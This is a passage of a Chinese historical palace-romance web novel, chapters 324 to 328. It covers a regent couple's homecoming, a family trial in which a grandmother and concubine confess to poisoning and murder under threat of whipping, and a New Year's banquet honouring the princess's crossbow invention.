“王叔,王婶。”赵凌哲还如以前一样,直接冲进霍凝玉的怀里。
一副见到亲娘的模样。
“皇上,大半年没见,长高了不少。”霍凝玉也如以前一样,摸了摸孩子,再上下左右看看,“嗯,没瘦。脸色更红润了,可见太后在生活上把你照顾得很好。”
“王婶,是弟弟和妹妹吃剩下的都进了朕的肚子,所以朕才长胖了。”赵凌哲说得一脸幸福。
“哈哈!”霍凝玉被逗得大笑,“那俩小东西经常吃剩下?”
“是母后怕他们不够吃,总让御房多做些,朕怀疑母后是故意的,就是为了让朕多吃。”说起这事,赵凌哲撅了撅嘴。
他在别人面前总要端着帝王的身份,可在霍凝玉面前,他很自然回归到孩子的身份。
总想讨一份关爱。
“你母后看到你身体长得这么好,心里肯定很高兴。”霍凝玉最喜欢看到孩子长得身体棒。
短暂说了几句,霍凝玉被赵凌哲拉着坐上他的马车,两人亲密无间地聊着分别大半年来的事。
赵炳煜都插不上话,只能默默骑马跟在马车旁。
夫妻俩王府都没回,直接进宫。
来到太后住的仁寿宫。
还没进去,霍凝玉就听到孩子们的欢叫声。
霍凝玉再也忍不住思念之心,小跑着冲进殿里。
就看到自己的两个孩子已经会走路了,正在殿里相互追逐玩闹。
“胤煦,梦琪!”霍凝玉连太后都没见礼,眼眶就已蓄满了泪水。
两个小家伙看到有陌生人来,吓得立刻跑到太后身边,一边一个依偎在太后腿边。
“见过太后娘娘。”霍凝玉猛擦了一下眼睛才见礼。
“回来就好,回来就好。你们这出去就是大半年,让哀家一直提心吊胆。”
赵炳煜也上前一揖:“皇嫂。”
“平安就好。胤煦,梦琪,快叫人,这是你们的爹爹和娘亲。”太后又把两个孩子向夫妻两人推了推。
可是只有一岁零三个月的孩子,只能发一些最简单的音,就是赵凌哲经常逗他们叫哥哥,其实也不是特别清楚。
现在让他们叫爹爹和娘亲,自是为
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难两个宝宝。
两小只睁着大大的眼睛看着两个有些陌生的大人。
不知道他们是谁,可又感觉他们好亲切。
尤其霍凝玉蹲下身,与他们平视,眼里的殷切和泪意让他们都感觉似曾相识。
“胤煦,梦琪,我是娘亲。”霍凝玉伸出手,做出想要拥抱他们的动作。
“来,快来,让娘亲抱抱,都是娘亲不好,把你们丢下这么久。”霍凝玉也不等两人主动投进她的怀抱,轻轻将两个孩子拥进怀里。
“我的孩子,娘亲以后再也不丢下你们了。”霍凝玉搂着两个孩子左亲一下,右亲一下。
两个孩子感受到来自娘亲的亲近,一点都不反感。
总有一种熟悉之感。
霍凝玉的主动亲近,很快就得到两个孩子的回应。
两个孩子也学着霍凝玉的动作在她脸上也亲了几口,留下一脸的口水。
但霍凝玉一点都不觉得脏,反而笑得很开心,笑中带着激动的泪。
但叫人还是做不到,毕竟只有一岁多点。
霍凝玉把两个孩子一起抱起来,可他们早已不是七个月前的模样,刚一抱,母子三人就同时跌坐到地上。
赵炳煜动作奇快,立刻把三人扶起,再一手一个抱起儿子和女儿。
“胤煦,梦琪,我是爹爹,叫声爹爹。”赵炳煜也在两个孩子脸上各亲了一下。
“都是爹爹不好,把你们丢在宫里这么久,不过身为我赵炳煜的孩子就要有担当,小小的离别算得了什么,尤其胤煦,以后要做顶天立地的好男儿,不然可没有姑娘喜欢你。”赵炳煜教育孩子真是与众不同。
“炳煜说的是,不过孩子现在还不会说话,你讲这些,他们也听不懂。”太后好笑道。
“王叔,朕也是顶天立地的好男儿。”赵凌哲也想得到肯定。
“你当然更要做顶天立地的好男儿,天下这么多男儿都看着你呢。现在不仅仅只有南楚的百姓,西凉、北魏现在都已收归我南楚,你更要做好表率。”赵炳煜也趁机教导赵凌哲。
“是,王叔。现在我南楚收了两国,我们是不是应该重新起个国号?不能再叫南楚了。”赵凌哲早就在想这个问题。
第324章 王府门前的闹剧
“你说得没错,趁过年期间好好想想,这可不是小事。开年后正好可以诏告天下。”赵炳煜也赞同。
“皇上,你对东临怎么看?”霍凝玉故意问道。
现在三国合并成了一国,那么南楚就成了泱泱大国,只剩一个小小的东临,只要南楚把三国的政事融合理顺,想要再拿下东临,那只是时间的问题。
霍凝玉的问题让所有人都一愣。
萧婉仪做了女皇,实际是他们夫妻一起在执掌朝政。
而萧婉仪是南楚公主所生,那么东临其实也算是南楚皇室之人在掌管。
南楚出兵北魏才缓解东临的危机。
不然东临已经灭国。
可萧婉仪毕竟是东临皇的亲生女儿。
这要如何办?
“王叔,你怎么看?”赵凌哲一时也不知道如何回答这个问题。
“过了年,本王写封信去东临,看看表妹是什么意思吧。”赵炳煜也不好说直接攻下东临。
两国友好邦交多年,以前一直守望相助,现在突然打破了这个平衡,未来要怎么处理两国关系,事关重大,需得好好想想。
“夫君,我想大嫂应该不想做这个女皇,我哥更不愿意做东临皇家的上门女婿。”霍凝玉对自家大哥还是很了解的。
虽然珍妃当时提出让侄儿改姓萧,大哥是答应了,但从内心来讲,肯定是不愿意的。
当时因西凉和北魏都没有收归到南楚,四国并存的情况下,东临自是要有姓萧的继承人。
但此一时彼一时。
“你的意思是,表妹可能会主动提出把东临合并到我南楚来?”赵炳煜眼睛一亮。
如果是这样的话,那就再好不过了。
“我只是猜测。”霍凝玉不敢肯定。
“如果表姑姑愿意主动交出东临皇权,并到我南楚,朕就封她一个王位,可以**罔替,不管传男传女都可。”赵凌哲立刻表态。
“皇上英明。”霍凝玉当即向赵凌哲一礼。
夫妻俩又与孩子亲香了一阵。
孩子对父母的亲近是天性,哪怕多日不见,也很快就熟悉起来。
谁对他们好,孩子最能感觉到。
尤其赵炳煜逗着女儿叫爹爹,还真让她开口了,虽然不清楚,但一听就知道叫的是爹爹。
可是霍凝玉引导着儿子叫娘时,却怎么也不开口,只知道发出她听不懂的音。
逗得他烦了,还会发脾气。
霍凝玉好受伤。
“孩子还小,爹爹这个音好发出来,娘有点拗口,不用着急,时间到了,自然就会叫了。”太后笑着安慰。
赵凌哲逗两个孩子叫哥哥,却很容易就让孩子开口了。
他明显就是炫耀给夫妻俩看。
直到下午申时,夫妻俩才带着孩子出宫。
只是刚到王府门口,却看到大门外围了好些人,吵闹不休。
“周芷玲,作为周家女,你竟把周家生意逼入绝境,老夫作为周家族长,今日就当着所有族人的面,处置你。”一个老者的声音中气十足。
“周家女?八年前,我请求族老们帮我查清我娘的死因,你们不但不帮忙,还一个个都想方设法阻拦我。那时你们怎么没把我当周家女?
就因为我是女儿身,不能成为家主。就因为杨姨娘有儿子,能继承父亲创下的家业,你们就看着杨姨娘母子害死我母亲。
你们可知道我娘为什么生了我之后就再也没有怀孕?
那都是杨姨娘和祖母联合一起给我娘下药。
祖母要求把杨姨娘所生的儿子过继到我娘名下成为嫡子。
我娘不同意,她们就起了杀心,买通匪徒劫杀了我娘。
而我爹为什么会疯傻,也是杨姨娘母子害的。
他们母子想全权掌握周家的家产,而我就成了最大的障碍,又设计毁了我的名声。
这一桩桩一件件,请问二叔爷,你可看到了?
还有我的好祖母,你既已嫁入周家,为何不替周家考虑,事事都想着你的娘家。
杨家到底能给你什么好处,不过只是出了一个七品的小官,直到现在还在县城里窝着。”周芷玲如找到宣泄口般,把这些年她所受到的不公一五一十说给眼前的周家族人听。
周家老夫人被丫鬟扶着,听了周芷玲的控诉,不但没有羞愧,反而上前两步,手里的拐杖在地上用力戳了几下,发出嘟嘟声。
“周芷玲,你胡说八道,你自己不检点,被逐出周家,却编排出这么多罪状出来乱说。
今日老身非好好教训教训你个不孝的孙女,居然敢诬陷自己的亲祖母。”
周老夫人说着就举起手里的拐杖向周芷玲打去。
然,周芷玲身后站着
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两个王府的护卫,哪里可能让她打着。
只轻轻一接就把周老夫人的拐杖给抽走了。
“哼,胡说八道?祖母,你敢对天发誓,你和杨姨娘从来没有害过我娘,我与人私通的事,不是你们一手策划的?”周芷玲说到此,眼睛里已经涌上了湿意。
她的坚强在这一刻再也崩不住。
这么多年过去,每每想起,她的心如被刀割。
那是她的亲祖母。
却要害自己的亲孙女,天下竟有如此不顾亲情的恶毒之人。
不就是当年父亲不愿意娶祖母安排的杨姨娘为妻吗?
不就是父亲不愿意把钱一股脑往杨家塞,为杨家人铺路吗?
杨家人就不能自己去挣吗?如吸血虫般就想靠着周家提供钱财。
“周芷玲,现在周家的生意全被你截断,今日不管说到哪里去,你都是大不孝。哪家子女会想尽办法把娘家弄垮的?
别忘了,你爹还在周家,他还没死。他要人照顾,一日三餐一顿都不能少。
你把我们周家搞倒,你又能得什么好处?
如果你把你手里的生意分一半给周家,从此以后也不再为难周家,我们可以考虑网开一面。”周家二房老爷子不要脸地要求。
“网开一面?二叔爷,我现在是永安王府的奴婢,我是**进的王府,你还没有资格处置我。”周芷玲本不想说出这事,可她知道周家人为了利益,有多丧心病狂。
“你说什么?你竟然自甘**,**为奴,你真把周家的脸面都丢尽了。”周家二老爷被气得直喘气。
大半年前,京城突然出现一个叫周智翎的年轻男子,时刻戴着面具,总是抢周家的生意。
下起手来,毫不手软。
周家人就知道来者不善。
多次想找到此人,打算好好谈谈,生意大家一起做,共赢才是长久之计。
可对方却总是避而不见。
后来调查到是永安王府的人时,周家人都吓着了,周家从来没有得罪过永安王府。
直到生意越做越窄,到后来,再也经营不下去。
周家人实在没办法,只能举全族之力去查这个叫周智翎的男子。
最后才知道,原来就是八年前被送去普陀庵的周家嫡长女。
他们才知道问题大了。
她是回来报仇的!
第325章 王爷饶命
周家人多次想要把人拦下教训,可她身边总是跟着几名护卫。
今日周家全族人齐聚,才一起堵在王府门口把人拦下。
趁王爷和王妃都不在府里的机会,定要给她一个教训,并要其交出一半生意。
就算王府管家出面也不能怎么样。
他们是来教训族中之人的,与王府无关。
就算王爷回来,他们也有理。
赵炳煜和霍凝玉停下马车,远远地听着他们的争执,已经听明白是怎么回事。
周芷玲已经把周家的生意挤兑得无法维持。
周家查到是周芷玲干的,现在想要对周芷玲进行族中处理。
“王爷,周芷玲这大半年可赚了不少呢。她信里写到的就有上百万两银子。
这样的人才,真是做生意的一把好手。
周家把家主之位给了那个庶子,结果根本守不住家业,连他姐姐的一根手指都不如。以为是个人就能把生意做好。”
霍凝玉对周芷玲做生意的能力很佩服。
“嗯,她拿着皇上和你我的钱,又有永安王府和皇上给的人手,再配上她的能力,把一个小小的周家挤兑得活不下去很正常。”赵炳煜也比较赞赏这样的人才。
“我们要不要出手帮忙?”霍凝玉感觉也听得差不多了。
“她还是心太软,只是把周家人挤兑得生意没法做,但却没有把周家害得家破人亡。”赵炳煜眯了眯眼,让马车再靠近些,他抱着女儿下了马车。
“王爷,王妃回府。”青雨一声高喝。
周家人全都被吓一跳,纷纷转身。
果然看到王爷王妃各抱一个孩子,正款步而来。
“草民拜见永安王爷,永安王妃。”
赵炳煜并没有叫起,只是冷冷地看着跪了一地的人。
周芷玲站在最后面,立刻急行几步到最前面,也恭敬跪下:“奴婢见过王爷王妃。”
她有点紧张,周家人在王府门口**,王爷会不会生气?
“芷玲,快起来,地上凉。”霍凝玉轻声叫起。
“谢王妃。”周芷玲爬起来,“王爷,王妃一路舟车劳顿,还请进府好好梳洗一番。”
她是知道王爷王妃近日就会回来,但并不知道是今日。
“二叔爷,如果不想冲撞了王爷王妃,就快些带着大家离开吧。”周芷玲还是做不到看周家人被王爷责罚。
“青雨,都给本王带进王府。本王要亲自审一审周家的家事。”赵炳煜截断她的话。
他看好周芷玲做生意的能力,现在南楚刚收服了两国,正是需要她大展宏图的时候,他不希望有周家人时不时来给她添乱。
“王爷......”周芷玲没想到赵炳煜会做此决定。
“芷玲,听王爷的。”霍凝玉听明白了刚才赵炳煜的话,芷玲确实心不够硬。
那就让夫君为她解决后顾之忧。
周家人被护卫们推搡着进了王府外院。
赵炳煜又让青雨带着王府护卫去周家拿人。
把各主子身边伺候的人,还有周家的管家都带进王府。
周芷玲的父亲也被一起带来。
他又派人去把刑部侍郎请来。
王正林得知王爷有请时,还吃惊不已。
大公主**一事,没有牵连到王家,他还是原来的官职。
今日都是腊月二十八了,皇上早就封印了,怎么还找他。
当得知是去王府时,他更是莫名其妙。
不过摄政王有请,他自不能耽误时间。
当他快速走进王府时,就看到一大群人跪在地上,男女老少都有。
一看穿着就知道这些人是富贵之家的,而不是官宦之家的。
“微臣见过王爷,王妃。”王正林恭敬一礼。
“王大人,本王好久没审案了,今日有点手痒,请你来旁听,看看本王有无差错。”赵炳煜说得很谦虚,但语气却带着冷意。
“王爷说笑了。”王正林一下明白叫他来做什么的了。
赵炳煜开始有模有样审起案来。
先是让周芷玲把她的遭遇说一遍。
当她说到伤心处时,眼泪止不住地往下流。
她忍了这么多年,她被至亲伤害,她被迫生下孩子,她被迫离开周家。
一点一滴,她都讲得十分清楚。
既然王爷要为她做主,那就彻底做个了断吧。
免得以后周家又来找她的麻烦。
“带周家老夫人。”赵炳煜直接点名,从周家辈分最高的开始。
周家老夫人尽
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管已经六十多岁,但赵炳煜并不因她年纪大就放过。
“王爷饶命,王爷饶命。周芷玲是乱说的,民妇怎么可能害自己的亲孙女,她就是见不得民妇多疼孙儿一些。
她只是一个丫头片子,迟早是要嫁人的,可她却抛头露面,损我周家名声,还与自己的护卫私通,被她姨娘发现。
这等女子,我们周家只是把她送去普陀庵,已经是对她最大的仁慈。她却对周家生恨,害得我周家现在一落千丈。”周老夫人匍匐在地。
可她却人老成精,知道怎么说对自己有利。
王爷也不能随便乱冤枉人。
她嫁入周家,也见识不少。
霍凝玉听得直想翻白眼,真会狡辩,居然敢在摄政王面前颠倒是非。
她都生出两分佩服之心来,胆子真大。
“大胆,在王爷面前也敢胡说八道。”王正林都听不下去了。
“大人,民妇句句属实啊。”周老夫人还抹起了眼泪。
“既然不说实话,那就用刑。”赵炳煜直接下令。
“王爷,民妇六十五了,受不住刑啊,您这是要屈打成招吗?”周老夫人开始撒起泼来。
“青雨,先给她十鞭,不用打死。”赵炳煜勾起嘴角,这就是个自私自利的刁妇。
“是,王爷。”青雨听懂了王爷的意思。
抽出长鞭在空中一甩。
“啪”的一声响,把周老夫人吓得白眼一翻,“晕”了过去。
“王爷.....”青雨很无辜,他还没开始抽呢。
“带周家杨氏。”赵炳煜冷哼一声。
杨姨娘被带上来,她亲眼看到婆母被一声鞭响就吓晕过去。
“你是老实交代,还是先挨十鞭再交代?”赵炳煜眼神如鹰隼射向杨氏。
杨氏看到青雨手里的鞭子,如蛇般吓人。
她哪里见过这等阵仗,她活了这么多年,从来没有受过刑,早被吓得瑟瑟发抖。
“我招,我招,求王爷饶命。”一鞭都还没挨,杨氏就受不住。
“娘。”她刚说完此话,一个年轻的男子惊呼一声。
那男子一喊完,就三两步跑过来。正是周芷玲的庶弟,周寒江。
“娘,你什么都不知道,你打算招什么?”
第326章 招供
“儿啊,娘怕。”杨氏怯怯地看了一眼青雨手里的鞭子。
“王爷,草民是男子,愿替母受刑。”周寒江一昂脖子,很有担当。
“好。”赵炳煜点了点头,这一点,倒是让人高看一分,知道替母受刑,至少知道孝顺生母。
青雨毫不客气,一鞭子猛地甩下,根本没给周寒江准备的时间。
“啊!”一声凄厉的惨叫。
周寒江从小到大都是被娇宠着长大的,又是周家唯一的男丁,磕破点皮都能让周老夫人和杨氏心疼半日,哪里受过这种刑。
但青雨不给他喘息的时间,又一鞭子甩下,冬日的衣服都被抽破,露出身上的皮肉。
杨氏看就在旁边,看到儿子瞬间就冒出血的后背,哪里还受得住。
“王爷,求求您,饶了我儿,民妇什么都招。”杨氏不停叩头。
当青雨甩下五鞭时,杨氏再也受不住,不等赵炳煜说话就趴到周寒江的背上。
儿子是她的命根子啊。
青雨当然也是看人下手,对周寒江动刑,所用的力量自然是特意加重了的。
赵炳煜摆了摆手,青雨才收起鞭子。
“当年,老爷说要把一半的家产给大小姐做嫁妆。
婆母知道后,就与民妇商量,此事绝对不行。
夫人本就不得婆母喜欢,早就对夫人心生怨恨。
我们就一步步算计,先害**夫人,趁老爷悲伤过度之时又给老爷下药,让他神志不清。
没想到大小姐居然能接手周家生意,还得到生意上的合作伙伴一力支持。
如果当时大小姐把掌事权交给民妇的儿子,我们也不会对大小姐如何,好好给她找户人家嫁了。
可她却非要查她娘的死因,眼看事情就要败露,民妇与婆母商量又对大小姐下了狠手。
设计她与护卫在孝期私通,再把她赶出周家。”
杨氏老老实实把事情的经过简单说了一遍。
“求王爷开恩,我们知道错了。”杨氏知道今日过后,周家彻底完了。
周家跟着一起来的族人,清清楚楚听到了杨氏的话。
个个都震惊不已。
他们虽然怀疑周夫人可能是被杨氏所害,但怎么也没想到周老夫人也参与其中。
尤其还对自己的亲孙女下如此重手,如果不是周芷玲心性坚忍,她早就无脸活在这世上,**了。
周家二老太爷久久无法回神,身子两晃,就要跌倒在地,被身边的孙子扶住。
“祖父?”
“家门不幸啊!”二老太爷突然大哭出声,“大嫂怎么就如此糊涂啊?”
看到晕在地上的周老夫人,二老太爷颤抖着走过去,用力踢了两脚。
“你个老东西,祸害我周家,你们杨家女就没一个好东西,我要替大哥休了你。”二老太爷也是六十多岁的老人了,踢了两脚就有些站不住。
“祖父,小心身子。”孙子在旁劝着。
霍凝玉看到地上的老太婆,被踢了两脚也不醒,但看到她皱眉,就知道她是故意装晕,就为了躲王爷的罚。
真是老不要脸的玩意儿,霍凝玉向身边的玛瑙交代一句。
玛瑙立刻离去,一会儿就端了个针线笸箩来。
拿出里面最长的针。
“这老婆子也晕得够久了,不能因为年纪大就不用受刑。哪怕她晕了,本王妃也要赐她针刺之刑。”霍凝玉冷声吩咐。
玛瑙毫不犹豫就一针扎在周老夫人的胳膊上。
周老夫人一声哎哟睁开了眼。
这回她腿脚很利索,立刻翻爬起来,跪到霍凝玉面前:“王妃饶命,王妃饶命。”
“王大人,案子已经很清楚,这虽是周家的家事,但害人性命就触犯了我南楚律法,都带去刑部,按律处置吧。”赵炳煜并不想浪费时间在这事上。
既然案子已经审清楚,就交由刑部来处理。
“臣领命。”
王正林带着人,把周家老夫人和杨氏母子带走。
周家二老太爷跪到赵炳煜面前。
“请王爷开恩,放过我们周家。”
他知道周家之所以有今天,都是侄孙女周芷玲所为。
她在报复周家。
而她之所以有这么大的能耐,自然是摄政王给的底气。
如果王爷不放过,周家这么多族人以后的生活可怎么办。
“周老爷子,你周家的生
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意全靠周家长房父女两人顶起,没了他们两人,你看看,这么快就一落千丈了。既然你们周家其他人不能顶起周家的生意,那就放手吧。
周芷玲是我永安王府的人,她也生有儿子,她父亲现在神智不清,以后她就是周家家主,她的儿子就是未来家主。
至于她要不要放过你们,那就是她的选择,本王不会管。”
赵炳煜的意思很明确,周家以后都是周芷玲母子的,而且连后继的人选都给周家定好。
如果周家族人想要过上好日子,只能去求周芷玲母子。
别仗着长辈的身份欺负他们孤儿寡母。
二老太爷后悔莫及,可是周芷玲有王爷撑腰,他们只能受着。
周家族人灰头土脸地离开了王府。
周芷玲又跪到赵炳煜夫妻面前:“奴婢多谢王爷王妃体恤。”
“快起来,王爷说你还是心太软,他就来做这个恶人。以后周家再没人敢为难你们母子,以后你就好好做你想做的事。
现在南楚刚刚收了两国,将士们的饷银还没发,已经欠了好几个月了,皇上可等着你多赚钱来发饷银呢。”霍凝玉笑着把人扶起来。
这可是她看好的人才,还是女子,真给女人争脸面。
“王妃,奴婢有个不情之请。”周芷玲又抹了抹眼睛,请求。
“你说。”
“祖母和姨娘都不在周家了,现在周家没有一个主事的,奴婢想把父亲接到身边照顾。”周芷玲说完,低下了头。
她知道自己的这个要求有点过分,这里可是王府,她爹并没有**进王府,住进来肯定不合适,但父亲神智不清,她不放心只交给下人来照顾。
“我当是什么事呢。当然可以,我再给他请太医来看看,看能不能治好。
如果能治好,你也不用那么辛苦,好些事你爹也能帮你。”霍凝玉一口应下。
她想到周父也是个会做生意的,要是能治好,有他们父女两人一起,说不定很快就能把四国的生意都连成一个网。
“多谢王妃。”周芷玲又深深一礼。
当即,霍凝玉就让杜管家去请太医院的院正来给周父看诊。
第327章 二弟提前圆房了
这一晚,夫妻二人与孩子玩到两个小家伙实在支撑不住眼皮打架才休息。
夫妻二人终于一解相思之苦。
霍凝玉把两个孩子放在他们夫妻睡的大床上。
两个大人一边一个躺下,目光都落在孩子的睡颜上。
“夫君,我们错过了孩子的周岁礼,好遗憾。”霍凝玉有感而发。
“那我们再给孩子过一次周岁礼?”赵炳煜提议。
“好啊,我们初五宴请亲朋好友,借此机会再给孩子们过一个更热闹的周岁礼。”霍凝玉立刻喜笑开颜。
孩子周岁礼是在皇宫里过的,也就几家重要的亲戚去了,不可能很热闹。
在王府里举行就不一样了,可以请更多人来。
两人就这么愉快地决定了。
翌日,正是腊月二十九,除夕之日。
霍凝玉本想去一趟娘家,可是想到下午宫宴就能见到家人,她又打消这个心思。
周芷玲看好时间来向霍凝玉交账本。
“王妃,好几个月都没向您交账了,今日先给您送来,什么时候看都没问题。”
周芷玲脸上带着喜气,霍凝玉一眼就看出来。
“昨晚,蒋院正给你爹看诊后,怎么说?”
“回王妃,院正大人说我爹是中了一种毒,但**不深,只要解了毒,再好好调理半年就能恢复。”周芷玲知道父亲有救,心里的大石才放下。
最疼她的亲人,现在只剩父亲一人了,她还没有尽孝,父亲就已经神志不清。
“你还没离开周家时,没有发现你父亲是**吗?”霍凝玉奇怪。
“那时奴婢的娘刚去,奴婢忙着查娘的死因,又加上生意上的事全都需奴婢来处理,不然家业就会落到庶弟手里。
父亲说过,庶弟根本不是做生意的料,一旦被他接手,周家的生意很快就会被同行打压下去,为了保住父亲的心血,奴婢经常在外。”
周芷玲很后悔当初没有想那么多。
父亲与母亲的感情很好,母亲突然去世,父亲伤心过度,失了神智也在情理之中。
每次都是祖母派人去请的大夫,她怎么也不会怀疑祖母会害自己的亲生儿子。
谁知道她丧心病狂到如此地步。
“原来如此。好好照顾你父亲。现在你也没有后顾之忧了,以后好好做事。过了年,你会更忙。”
下午,赵炳煜带着一家进宫过除夕。
这是赵凌哲登基之后的第一个新年。
又是三国归一的第一个新年。
文武百官都喜气洋洋入宫。相互谈论的都是两国收归的事。
刚到宫门口,赵炳煜就看到霍家的马车停在旁边,霍家人特意在此等着他们。
霍鸣昶远远看到王府的马车来,迫不及待跑上前。
“大姐,大姐夫,你们可算回来了,想死我了。”霍鸣昶还如以前一样跳脱。
昨日知道他们刚回来,肯定是先进宫,再与孩子们好好亲近,霍家就没有来打扰,给他们夫妻足够的时间。
“二弟。”霍凝玉一听到声音,兴奋地撩开帘子,就看到二弟刚跑到马车前。
“大姐,你怎么瘦了这么多?脸也黑好多。我漂亮可爱的大姐不见了。”霍鸣昶十分夸张地大叫起来。
“有你这么埋汰人的吗?”霍凝玉一蹦,跳下马车。
霍鸣昶直接接住,才不管什么男女大防,他们是亲姐弟。
“大姐,快,去见见娘。你不知道娘有多想你。“霍鸣昶拉起人就向自家马车而来,连平时他最喜欢抱的外甥和外甥女都没管了。
赵炳煜看到风风火火跑走的两人,摇了摇头,下马进车里抱出两个孩子。
“跌......跌跌!”梦琪小郡主叫出的声音更加清晰了。
“爹爹的乖女儿,再叫一声。”赵炳煜激动不已。
“喋......喋........”胤煦小世子也学着妹妹发出差不多的音。
“好儿子,估计你们的娘会嫉妒得非把爹爹给吃了不可。”
赵炳煜很高兴,一手抱一个,来到霍家马车前。
“爹,娘,我好想你们。”霍凝玉抱住容华芝,激动的眼泪全都蹭到母亲的肩上。
“都多大人了,还这么粘糊。”容华芝说着责备的话,但心里却柔软得不行。
“小婿见过岳父岳母。”赵炳煜抱着两个孩子,弯了弯腰,动作很滑稽。
“王爷不必多礼。”霍鹏程从
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他手中接过外孙。
小家伙乖乖窝在外祖父怀里,可见平时霍鹏程没少抱他。
霍凝玉亲昵一阵,解了思亲之情,才从容华芝的肩上抬起头来。
正好和万青黛的眼神对了个正着。
“青黛!”霍凝玉眼睛睁得大大的。
她看到了什么?
二弟妹的肚子居然比一般人的高。
霍凝玉两步来到她身边。
“二弟妹,你居然怀孕了。而且肚子都这么大了,你们怎么都不写信告诉我?”霍凝玉把手放在万青黛的肚子上,轻轻抚摸。
“二弟,你不是说要考了探花才与二弟妹圆房的吗?”霍凝玉故意揶揄自家二弟。
“大姐,我......我这不是情不自禁嘛。”霍鸣昶羞得无地自容。
他过十八岁生日那晚,喝了酒,再看娇妻温柔似水,他就再也控制不住。
开了浑,就更加无法节制。
结果就是妻子的肚子一天比一天大。
万青黛也羞涩的脸瞬间通红。
“行了,你就别取笑你二弟和青黛了。这是好事。”容华芝打圆场,解救一双小儿女。
两家人有说有笑,一起进宫。
今日除夕宫宴,太后一手操办。
听说太后安排了好些出色的歌舞,庆祝南楚难得的盛世。
进了崇华殿,霍凝玉看到了好久不见的其他亲人。
霍凝玉来到容家人所在这桌,一一问安。
容老夫人今日也进宫了。
她就是特意为了见外孙女才来的,老爷子腿脚不方便,没能进宫。
“见过外祖母。”霍凝玉恭敬一礼。
“快快坐下,让外祖母好好看看。出去大半年,让我们好生惦记。
你一个姑娘家,怎么就跟着去了战场,也不怕有个万一。”容老夫人心疼地摸上霍凝玉的脸。
“外祖母放心,我又不去冲锋,只是在后面做些后勤,让夫君没有后顾之忧。”霍凝玉当然是报喜不报忧。
她亲自做饵抓北魏太子的事,绝对不能让老人家知道。
“凝玉,我听说你带着一群妇人专给受伤的将士们包扎伤口,给他们熬药?此事可是真?”容大夫人佩服地竖起大拇指。
第328章 封镇国夫人
“大舅母,当然是真的。
你不知道那些妇人,好些都是因为自家男人死在战场上,她们也想为自己男人报仇,所以不顾男女大防,很尽心照顾将士们,让他们的伤好得更快。
轻伤者,要不了多久就又能上阵杀敌。”霍凝玉为那些妇人骄傲。
一开始,她还以为妇人们不敢与男人接触,却出乎她的意料,一个个都放弃矜持,做得很好。
“我们凝玉也巾帼不让须眉。”容老夫人夸赞。
霍凝玉和几家相熟的又聊了会儿才回到自家位置。
就看到钟离洛正与赵炳煜勾肩搭背。
容琳媛安安静静陪在旁边。
“表姐。”容琳媛轻轻唤道。
“表妹,孩子没带进宫来吗?”霍凝玉见只有他们夫妻两人。
“太小了,怕照顾不周。”容琳媛扯了扯还与王爷讲得滔滔不绝的钟离洛。
“洛见过王妃。”钟离洛刚才是背对着霍凝玉。他一转过身看到自己最崇拜的女子就在眼前,突然双眼放光,行了一个十分郑重的礼。
“钟离大哥,我还是叫你表妹夫更好。你这么郑重给我行礼,太见外了吧?”霍凝玉有些意外。
“王妃,青云说,你没日没夜研究床**,废寝忘食。
如果没有你研究出来的床**,我就是有三头六臂也不可能把西凉拿下。
洛的这一礼是代南楚全体将士所行,是你让将士们减少了无数牺牲。
是你让我南楚在这么短时间内就拿下了西凉和北魏。
床**的出现,让四国之间的战争这么快结束,以后也不会有战争。
王妃,你才是真正的英雄。”钟离洛说完又非常郑重地躬身一礼。
“表妹夫,有你这么夸人的吗?让我怪不好意思的。我不过就是一时兴起,才与两位师傅一起做出床**,瞎猫碰到死耗子而已。”霍凝玉被夸得有点不好意思。
她一个敌人都没杀过,哪敢担这么大的功劳。
“王妃之功,当世无双。”赵炳煜也附和,”床**的确是收服两国最大的利器。”
几人又聊了会儿,钟离洛把他收复西凉的几次大战讲得绘声绘色,一点也不像一个话不多的武将。
他是太高兴了。
”皇上驾到,太后娘娘驾到。“随着一声高唱,赵凌哲与太后款步而来。
众臣起身行礼。
赵凌哲一身明黄龙袍,头戴玉冠,小小年纪,已经有了帝王之姿,往龙椅上一坐,气势立显。
“各位爱卿,今年是我南楚收归两国的大纪年。
朕今日与各位同庆佳节,同时也给各位爱卿下达一个任务。
现在我南楚已是泱泱大国,不能再用南楚这个国号,朕打算起一个新的国号。
请各位都好好想一想,为我南楚起一个什么样的国号更合适。
等开朝后,你们都上个折子,写出你们心中认为最好的国号,让朕看看。”赵凌哲站起身,面带笑容。
这话,让群臣既激动又兴奋。
“皇上,大好事,臣等一定想个既霸气又响亮的国号。”曹达第一个站起来响应。
“对对对,南楚确实已经不合适了。就该换个国号。”又一老臣站起来高兴道。
“好,为我们南楚辽阔的疆土干一杯。”赵凌哲端起酒杯,豪气地一饮而尽。
看得霍凝玉直皱眉。
“怎么了?”赵炳煜见她神色不对,问道。
“皇上才多大,怎么可以饮酒?”霍凝玉满是担心。
才十岁的孩子,要是饮酒伤了身子可怎么办?
“放心,太后心里有数。我估计他杯子里的肯定不是酒,而是糖水。”赵炳煜一边说着一边塞了个小点心进女儿小嘴里。
赵凌哲又端起酒杯。
“我南楚能有今日收归两国的成就,想来各位爱卿当知道最大的功臣是谁。”赵凌哲的眼神在几位武将身上扫过,最后又看了霍凝玉一眼。
“当然要数摄政王和忠勇伯了。”有一官员大声说道。
“姚爱卿说得没错。但这么多年来,我南楚被西凉和北魏入侵多少次,却从没有哪次如今年这般顺利。
不但把他们打得落花流水,还一并把两国拿下,收归我南楚。
这样的不世之功,的确离不开钟离将军与摄政王叔的战场用兵之术和将士们的努力拼杀。
然,可能还有
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人不知道,这不世之功的背后有一位真正的幕后英雄,她才是决定整场战事扭转的关键。
那就是我南楚的永安王妃霍凝玉。
是她研究发明了床**这样的战场利器,才让战事得以扭转。
各位都知道能百步穿杨已是箭道中的高手,**也不是什么稀奇之物,然摄政王妃研究出的三弓床**能射八百步。
有这等利器,只一箭就能暴击敌将头颅,让敌军无主帅。
我军再**,敌军溃败如山倒。
让我军将士战无不胜。”赵凌哲一边说着,一边走到霍凝玉面前。
“王婶,朕代表整个天下的百姓谢谢您。朕敬您一杯。”赵凌哲面含微笑与尊敬。
“皇上,我可当不起你这般夸,小心我会飘飘然,分不清东西南北。”霍凝玉没想到赵凌哲会如此夸她,有点不好意思。
她哪里担当得起如此夸赞。
“王妃担得起。”钟离洛第一个举杯。
“王妃巾帼不让须眉。”兵部尚书也站起身举杯。
接着好些武将都站起身举杯。
霍凝玉发明床**之事,知道的文臣也有不少,都纷纷起身举杯。
“请摄政王妃受我等敬酒一杯。”曹达高举酒杯。
赵炳煜把酒杯放到霍凝玉手里,眼神带着鼓励:“你当之无愧。”
